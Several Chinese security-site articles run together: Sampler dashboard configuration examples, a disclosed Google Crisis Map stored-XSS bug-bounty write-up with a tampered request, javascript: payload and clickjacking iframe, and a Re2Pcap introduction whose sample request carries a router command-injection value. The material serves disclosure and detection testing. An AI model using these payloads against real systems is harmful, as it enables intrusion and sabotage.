    border: false       # border around the item, default = true    
    color: 43           # 8-bit color number, default is white
    sample: env TZ=UTC date +%r

额外功能

Triggers

触发器允许执行条件操作,如视觉/声音告警或任意shell命令。以下示例说明了此概念。

Clock gauge,从开始的每分钟显示时间进度和当前时间

gauges:
  - title: MINUTE PROGRESS
    position: [[0, 18], [80, 0]]  
    cur:
      sample: date +%S
    max:
      sample: echo 60
    min:
      sample: echo 0
    triggers:
      - title: CLOCK BELL EVERY MINUTE
        condition: '[ $label == "cur" ] && [ $cur -eq 0 ] && echo 1 || echo 0'  # expects "1" as TRUE indicator
        actions:
          terminal-bell: true  # standard terminal bell, default = false
          sound: true    # NASA quindar tone, default = false
          visual: false  # notification with current value on top of the component area, default = false
          script: say -v samantha `date +%I:%M%p`  # an arbitrary script, which can use $cur, $prev and $label variables

搜索引擎延迟图表,在延迟超过阈值时向用户发出告警

runcharts:
  - title: SEARCH ENGINE RESPONSE TIME (sec)
    rate-ms: 200
    items:
      - label: GOOGLE
        sample: curl -o /dev/null -s -w '%{time_total}'  https://www.google.com
      - label: YAHOO
        sample: curl -o /dev/null -s -w '%{time_total}'  https://search.yahoo.com     
    triggers:
      - title: Latency threshold exceeded
        condition: echo "$prev < 0.3 && $cur > 0.3" |bc -l  # expects "1" as TRUE indicator
        actions:
          terminal-bell: true  # standard terminal bell, default = false
          sound: true   # NASA quindar tone, default = false
          visual: true  # visual notification on top of the component area, default = false
          script: 'say alert: ${label} latency exceeded ${cur} second' # an arbitrary script, which can use $cur, $prev and $label variables

交互式 shell 支持

除了sample命令之外,还可以指定init命令(在采样前仅执行一次)和transform命令(后处理采样命令输出)。这包括交互式shell用例,例如仅建立与数据库的连接一次,然后在交互式shell会话中执行轮询。

Basic mode

textboxes:
  - title: MongoDB polling
    rate-ms: 500
    init: mongo --quiet --host=localhost test # executes only once to start the interactive session
    sample: Date.now();                       # executes with a required rate, in scope of the interactive session
    transform: echo result = $sample          # executes in scope of local session, $sample variable is available for transformation

PTY mode

在某些情况下,交互式shell将无法工作,因为它的stdin不是终端。这种情况下我们可以使用PTY模式:

textboxes:
  - title: Neo4j polling
    pty: true  # enables pseudo-terminal mode, default = false
    init: cypher-shell -u neo4j -p pwd --format plain
    sample: RETURN rand();
    transform: echo "$sample" | tail -n 1
  - title: Top on a remote server
    pty: true  # enables pseudo-terminal mode, default = false
    init: ssh -i ~/user.pem [email protected]
    sample: top

 init 命令逐步执行

在开始采样之前,还可以逐个执行多个init命令。

textboxes:
  - title: Java application uptime
    multistep-init:
      - java -jar jmxterm-1.0.0-uber.jar
      - open host:port # or local PID
      - bean java.lang:type=Runtime
    sample: get Uptime

变量

如果配置文件包含重复的模式,则可以将它们提取到变量部分。此外,还可以在启动时使用-v/–variable标志指定变量,并且任意的系统环境变量也可以在脚本中使用。

variables:
    mongoconnection: mongo --quiet --host=localhost test
barcharts:
  - title: MongoDB documents by status
    items:
      - label: IN_PROGRESS
        init: $mongoconnection
        sample: db.getCollection('events').find({status:'IN_PROGRESS'}).count()
      - label: SUCCESS
        init: $mongoconnection
        sample: db.getCollection('events').find({status:'SUCCESS'}).count()
      - label: FAIL
        init: $mongoconnection
        sample: db.getCollection('events').find({status:'FAIL'}).count()

颜色主题

theme: light # default = dark
sparklines:
  - title: CPU usage
    sample: ps -A -o %cpu | awk '{s+=$1} END {print s}'

真实场景

数据库

以下是不同的数据库连接示例。建议使用交互式shell(init脚本)仅建立一次连接,然后在采样期间重用即可。

MySQL

# prerequisite: installed mysql shell
variables:
  mysql_connection: mysql -u root -s --database mysql --skip-column-names
sparklines:  
  - title: MySQL (random number example)
    pty: true
    init: $mysql_connection
    sample: select rand();

PostgreSQL

# prerequisite: installed psql shell
variables:
  PGPASSWORD: pwd
  postgres_connection: psql -h localhost -U postgres --no-align --tuples-only
sparklines:
  - title: PostgreSQL (random number example)
    init: $postgres_connection
    sample: select random();

MongoDB

# prerequisite: installed mongo shell
variables:
  mongo_connection: mongo --quiet --host=localhost test
sparklines:
  - title: MongoDB (random number example)
    init: $mongo_connection
    sample: Math.random();

Neo4j

# prerequisite: installed cypher shell
variables:
  neo4j_connection: cypher-shell -u neo4j -p pwd --format plain
sparklines:
  - title: Neo4j (random number example)
    pty: true
    init: $neo4j_connection
    sample: RETURN rand();
    transform: echo "$sample" | tail -n 1

Kafka

检查kafka lag值,计算每个队列lag值的和,高于阈值报警,多consumergroup,多topic。

variables:
  kafka_connection: $KAFKA_HOME/bin/kafka-consumer-groups --bootstrap-server localhost:9092
runcharts:
  - title: Kafka lag per consumer group
    rate-ms: 5000
    scale: 0
    items:
      - label: A->B
        sample: $kafka_connection --group group_a --describe | awk 'NR>1 {sum += $5} END {print sum}'
      - label: B->C
        sample: $kafka_connection --group group_b --describe | awk 'NR>1 {sum += $5} END {print sum}'
      - label: C->D
        sample: $kafka_connection --group group_c --describe | awk 'NR>1 {sum += $5} END {print sum}'

Docker

Docker容器统计信息(CPU,MEM,O/I)

textboxes:
  - title: Docker containers stats
    sample: docker stats --no-stream --format "table {{.Name}}\t{{.CPUPerc}}\t{{.MemPerc}}\t{{.MemUsage}}\t{{.NetIO}}\t{{.BlockIO}}\t{{.PIDs}}"

SSH

远程服务器上的TOP命令

variables:
  sshconnection: ssh -i ~/my-key-pair.pem [email protected]
textboxes:
  - title: SSH
    pty: true
    init: $sshconnection
    sample: top

JMX

Java应用程序的正常运行示例

# prerequisite: download [jmxterm jar file](https://docs.cyclopsgroup.org/jmxterm)
textboxes:
  - title: Java application uptime
    multistep-init:
      - java -jar jmxterm-1.0.0-uber.jar
      - open host:port # or local PID
      - bean java.lang:type=Runtime
    sample: get Uptime
    transform: echo $sample | tr -dc '0-9' | awk '{printf "%.1f min", $1/1000/60}'

*参考来源:GitHub,FB小编secist编译,转载请注明来自FreeBuf.COM

谷歌有一个项目相信许多人可能都没听过,那就是谷歌危机地图(Google Crisis Map)。

该项目旨在帮助人们可以快速的查找和使用一些关键的应急信息(来源)。

虽然它目前仍在使用,但它似乎使用的人并不多。

由于这是一个较老的项目(创建于2012年)且很长一段时间没有更新,因此可以说这是一个查找漏洞的绝佳目标。

它被托管在google.org域,该域的严重程度虽不如google.com(针对客户端漏洞),但它仍然是Google所拥有的域名。

登录

如果你打开项目的主页(google.org/crisismap),你将被重定向到默认地图“天气和事件”。这对我们来说意义不大,因为我们唯一能做的就是查看地图。

这里有一种可以管理和创建新地图的方法。如果我们在网址末尾添加.maps后缀,如:google.org/crisismap/.maps

打开此页面后,你需要使用自己的Google帐户登录才能继续。现在,你应该能够看到一个带有地图列表的仪表板。每个帐户都有三个默认地图。

出于某种原因,如果你在自己的域上发布其中的一个地图,则所有人都能在仪表板的“已发布地图”字段下看到该地图。

创建地图

如果单击红色的“Create Map”按钮,你会看到一条消息显示,gmail.com域不能用于创建新地图。

这意味着我们需要使用包含我们自定义域的电子邮件进行登录。我们可以通过使用GSuite帐户,或使用gmail.com以外域的电子邮件登录来执行该操作。之后,我们就可以创建一个新地图了。

单击“Continue”按钮后,我们将被重定向到我们可以编辑新创建地图的页面。

查找 XSS

首先,我们将向地图添加一个新图层。

将会弹出用于创建新图层的弹框。

输入任意内容作为“Title”。

现在,如果我们在“Source URL”字段中输入javascript:alert(document.domain),它将显示一个错误:

Invalid URL – please include a protocol (e.g. http:// or https://)

这意味着它会在允许你保存新图层之前检查URL是否有效。验证URL的反混淆javascript代码如下所示:

if (url && !url.toLowerCase().match("^\\s*(http://|https://|docs://|$)")) {
  showError("Invalid URL - please include a protocol (e.g. http:// or https://)");
}

但这只是在将实际保存请求发送到后端之前的客户端验证。

修改请求

我们可以使用像FiddlerBurp Suite这样的Web调试代理,来修改请求并发送修改后的版本。

首先,我们需要将“Source URL”更改为有效的URL,例如https://example.com

我们单击“OK”按钮并单击“Save”以发送保存请求。然后我们将修改请求。请求如下:

POST https://google.org/crisismap/.api/maps/1234
{
  "id": "1234",
  "title": "Untitled map",
  "base_map_type": "GOOGLE_ROADMAP",
  "layers": [{
    "id": "1",
    "title": "Test layer",
    "visibility": "DEFAULT_ON",
    "type": "KML",
    "source": {
      "kml": {
        "url": "https://example.com"
      }
    }
  }]
}

我们将用javascript:alert(document.domain)替换https://example.com,并发送修改后的请求。

测试 XSS

现在请求已发送并保存,因此让我们重新加载页面。

打开“Layers”,然后单击“Download KML”。

点击下载链接后,XSS将被触发,并弹出带有域的警告框!

如何修复

为什么会这样?URL验证仅发生在前端而不是后端。这意味着可以通过验证后端的URL来解决这个问题。

但谷歌并没有这么做。而是在URL保存到后端时检查URL,显示在DOM中前URL已被验证。

因此,如果URL无效,则不会将其用作链接,并将使用一个无意义的值,如:about:invalid代替。

<a href="about:invalid#zClosurez">Download KML</a>

影响

好的,现在我们有一个包含payload指向javascript: URI的链接。该链接位于用于管理地图的页面上。你必须登录才能获取该页面的访问权限。

显然这是self-XSS,因为只有我们能够执行该XSS。

现在,我们要做的就是如何将self-XSS变成真正的有影响的XSS?

增加严重性

我们创建的每张地图都可以发布供公众查看。如果你通过包含域example.com的电子邮件登录,则可以将地图发布到:http://google.org/crisismap/example.com/test

这样,任何人都可以打开此URL并查看我们创建的地图。想要使XSS正常工作,用户需要打开或导航到此页面,打开“Layers”并单击“Download KML”链接。

这意味着它已不再是self-XSS,但缺点是这需要用户操作的步骤过多。

点击劫持

如果我们查看HTTP响应头,可以看到google.org并未发送X-Frame-Options标头。

X-Frame-Options HTTP 响应头是用来给浏览器指示允许一个页面可否在<frame>, <iframe>, <embed> 或者 <object> 中展现的标记。站点可以通过确保网站没有被嵌入到别人的站点里面,从而避免clickjacking攻击。

google.org上缺少该标头,则意味着我们可以将已发布的地图嵌入到我们自己网站上的iframe中。

<iframe src="https://google.org/crisismap/example.com/test"></iframe>

如下所示。用户现在甚至不需要离开我们的站点。但仍需要用户点击iframe中的两个位置(“layers”>“download kml”)。

iframe在我们的网站上被加载 – 这意味着我们可以使用CSS和JavaScript来操作它。

我想到的第一件事,就是将黑色的DIV放置在我们希望用户点击的位置。然后检测单击事件并将DIV移动到第二个点。

这很有效,但仍需要用户点击两个不同的位置。

但有个更好的方案就是绝对定位iframe,这样用户就不必移动光标了。

以下演示我们将iframe缩放了50倍,并将其移动了到我们希望用户单击的位置。首先转到“Layers”选项卡。点击后,它会在带有payload的链路上移动。

你可以通过在下面的iframe中单击两次来尝试该示例:

总结

不要相信用户输入。在使用它之前一定要验证/转义它,甚至在保存它之前最好检查它是否有效。

通过正确设置X-Frame-Options标头,不允许其他域将你的网站嵌入iframe。

在查找漏洞时,请尝试找到该漏洞可能的最高严重性。

例如,如果你找到一个XSS,请尝试通过查找错误配置的Cookie或端点接管帐户。

寻找仍然适合bug奖励计划范围的旧项目。我在谷歌危机地图上发现了另外两个漏洞,后续我也会发布有关它们的文章。

时间线

2018.12.09:报告漏洞

2018.12.10:优先权改为P1

2018.12.10:验证

2018.12.10:确认

2018.12.11:发放奖励

*参考来源:appio,FB小编secist编译,转载请注明来自FreeBuf.COM

Re2Pcap是英文单词Request2Pcap和Response2Pcap的缩写。Community版的用户可以使用Re2Pcap快速的创建PCAP文件,并根据Snort规则对其进行测试。

Re2Pcap允许你为raw HTTP request(如下)快速的创建PCAP文件。

POST /admin/tools/iplogging.cgi HTTP/1.1

Host: 192.168.13.31:80

User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:60.0) Gecko/20100101 Firefox/60.0

Accept: text/plain, */*; q=0.01

Accept-Language: en-US,en;q=0.5

Accept-Encoding: gzip, deflate

Referer: http://192.168.13.31:80/admin/tools/iplogging.html

Content-Type: application/x-www-form-urlencoded; charset=UTF-8

X-Requested-With: XMLHttpRequest

Content-Length: 63

Cookie: token=1e9c07e135a15e40b3290c320245ca9a

Connection: close

tcpdumpParams=tcpdump -z reboot -G 2 -i eth0&stateRequest=start

使用

git clone https://github.com/Cisco-Talos/Re2Pcap.git

cd Re2Pcap/

docker build -t re2pcap .

docker run --rm --cap-add NET_ADMIN -p 5000:5000 re2pcap

在Web浏览器中打开localhost:5000访问Re2Pcap,或使用Re2Pcap-cmd脚本与Re2Pcap容器(container)交互以在当前工作目录中获取PCAP文件。

必要条件

Docker

HTTP Raw Request / Response

Web 浏览器(为达到最佳效果,请使用基于Chromium的Web浏览器)

优势

易于安装。无需复杂的多VM设置

Re2Pcap运行在基于Alpine Linux的docker镜像上,体积小于90MB

Dockerfile

FROM alpine

# Get required dependencies and setup for Re2Pcap

RUN echo "http://dl-cdn.alpinelinux.org/alpine/edge/testing" >> /etc/apk/repositories

RUN apk update && apk add python3 tcpdump tcpreplay

RUN pip3 install --upgrade pip

RUN pip3 install pexpect flask requests httpretty requests-toolbelt

COPY Re2Pcap/ /Re2Pcap

RUN cd Re2Pcap && chmod +x Re2Pcap.py

Walkthrough

下图显示的是,使用Re2Pcap为Sierra Wireless AirLink ES450 ACEManager iplogging.cgi命令注入漏洞创建pcap文件的视频演示。

Re2Pcap 开发(dev)分支(开发中)

目前,Re2Pcap dev分支具有以下附加功能

模拟raw HTTP request和对PCAP的响应

更好的输入验证

下图显示的是,使用Re2Pcap dev为Sierra Wireless AirLink ES450 ACEManager iplogging.cgi命令注入漏洞创建PCAP文件:

Re2Pcap Workflow

如上图所示,Re2Pcap是基于Alpine Linux的Python3应用程序,拥有基于Flask的Web界面。

Re2Pcap将输入数据解析为raw HTTP request或response,并在捕获数据包时实际执行client/server交互。在交互后,Re2Pcap会将捕获的数据包以PCAP文件格式呈现。

建议

请使用Linux作为主机操作系统,因为Re2Pcap已在Linux上经过了充分的测试。

如果为主机Host: somedomain:5000创建PCAP,请通过修改Re2Pcap.Py app.run调用将Flask应用程序更改为在其他端口上运行,否则PCAP将包含Flask应用程序响应

限制

如果raw HTTP request中没有Accept-Encoding标头,则Accept-Encoding: identity标头会被添加到reqeust中。

python请求存在已知的问题

那真是太可怕了。Accept-Encoding: identity始终有效,RFCs如是说。发送它应该是完全无害的。否则,删除它需要我们替换httplib

以下是来自Re2Pcap PCAP中的源地址(source)和目的地(desitnation)IP

源地址 IP: 10.10.10.1

目的地 IP: 172.17.0.2,请使用tcprewrite -D选项根据需要将desitnation IP修改为其他IP地址。你还可以使用tcpprep和tcprewrite将其他IP设置为端点。由于tcprewrite的结果不一致,我使用了另一种方法来设置不同的SRC/DST IP

将HTTP/1.1 302指定为响应将生成PCAP,并以最大可能重试次数访问Location:header中指定的资源。你也可以在测试中使用wireshark只导出第一个HTTP流,排除其他可能会影响你的流。

*参考来源:GitHub,FB小编secist编译,转载请注明来自FreeBuf.COM